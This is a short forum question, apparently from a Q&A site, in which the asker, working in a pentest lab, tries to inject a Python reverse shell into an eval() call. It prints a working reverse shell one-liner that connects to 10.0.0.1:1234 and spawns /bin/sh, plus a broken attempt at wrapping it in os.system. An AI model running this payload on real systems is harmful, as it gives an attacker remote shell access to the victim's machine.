title: Python - running reverse shell inside eval()
body: <p>I am working on a pentest lab. There is a Python eval() function I need to exploit.</p>
  
  <p>It is like</p>
  
  <pre><code>eval('%s&gt;1',payload)
  </code></pre>
  
  <p>I need to execute a Python reverse shell script as payload. It is</p>
  
  <pre><code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  </code></pre>
  
  <p>I am trying like</p>
  
  <pre><code>eval('%s &gt;1' "__import__('os').system('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")
  </code></pre>
  
  <p>Not sure how to import all those modules and execute it.</p>
  
  <p>Any help appreciated. </p>